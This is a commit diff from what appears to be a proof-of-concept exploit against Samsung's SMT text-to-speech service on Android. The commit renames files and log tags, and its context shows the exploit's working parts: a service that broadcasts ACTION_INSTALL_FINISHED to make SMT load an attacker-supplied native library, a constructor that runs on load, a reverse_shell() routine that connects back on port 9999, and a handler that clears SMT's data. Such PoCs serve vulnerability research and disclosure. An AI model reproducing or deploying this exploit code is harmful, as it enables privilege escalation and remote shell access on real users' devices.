changed some file names and log strings

BLuFeNiX · Mar 6, 2023 · bdacaf9 · bdacaf9
1 parent e750b1b
commit bdacaf9
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Showing 3 changed files with 10 additions and 7 deletions.
diff --git a/langpoc/app/src/main/java/com/samsung/SMT/lang/poc/MyService.java b/langpoc/app/src/main/java/com/samsung/SMT/lang/poc/MyService.java
@@ -11,7 +11,7 @@ public class MyService extends Service {
     public void onCreate() {
         super.onCreate();
 
-        final String input = this.getApplicationInfo().nativeLibraryDir + "/" + "libmstring.so";
+        final String input = this.getApplicationInfo().nativeLibraryDir + "/" + "libsmtshell.so";
 
         Intent bi = new Intent();
         bi.setAction("com.samsung.SMT.ACTION_INSTALL_FINISHED");

diff --git a/langpoc/app/src/main/jni/Android.mk b/langpoc/app/src/main/jni/Android.mk
@@ -1,9 +1,9 @@
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := libmstring
+LOCAL_MODULE := libsmtshell
 LOCAL_CFLAGS := -std=c17 -Wall -Werror
 LOCAL_SRC_FILES := \
-  mstring.c
+  smtshell.c
 LOCAL_LDLIBS := -ldl -llog
 include $(BUILD_SHARED_LIBRARY)
diff --git a/langpoc/app/src/main/jni/mstring.c → langpoc/app/src/main/jni/smtshell.c b/langpoc/app/src/main/jni/mstring.c → langpoc/app/src/main/jni/smtshell.c
@@ -7,7 +7,10 @@
 #include <android/log.h>
 #include <signal.h>
 
-#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, "mercury-native", __VA_ARGS__)
+#define LOG_TAG "smtshell"
+#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+#define LOGW(...) __android_log_print(ANDROID_LOG_WARN, LOG_TAG, __VA_ARGS__)
+#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
 
 #define REMOTE_ADDR "127.0.0.1"
 #define REMOTE_PORT 9999
@@ -22,7 +25,7 @@ static void reverse_shell() {
 
     s = socket(AF_INET, SOCK_STREAM, 0);
     while (connect(s, (struct sockaddr *) &sa, sizeof(sa)) != 0) {
-        LOGE("connect() error: %s", strerror(errno));
+        LOGW("connect() error: %s", strerror(errno));
         sleep(1); // keep trying to connect
     }
 
@@ -39,13 +42,13 @@ static void reverse_shell() {
  */
 void sig_handler(int signo) {
     if (signo == SIGTERM) {
-        LOGE("caught SIGTERM, clearing SMT data");
+        LOGI("caught SIGTERM, clearing SMT data");
         system("pm clear com.samsung.SMT");
     }
 }
 
 __attribute__((constructor)) static void on_load() {
-    LOGE("on_load() called, my uid is %d", getuid());
+    LOGI("on_load() called, my uid is %d", getuid());
     if (signal(SIGTERM, sig_handler) == SIG_ERR) {
         LOGE("can't catch SIGTERM!");
     }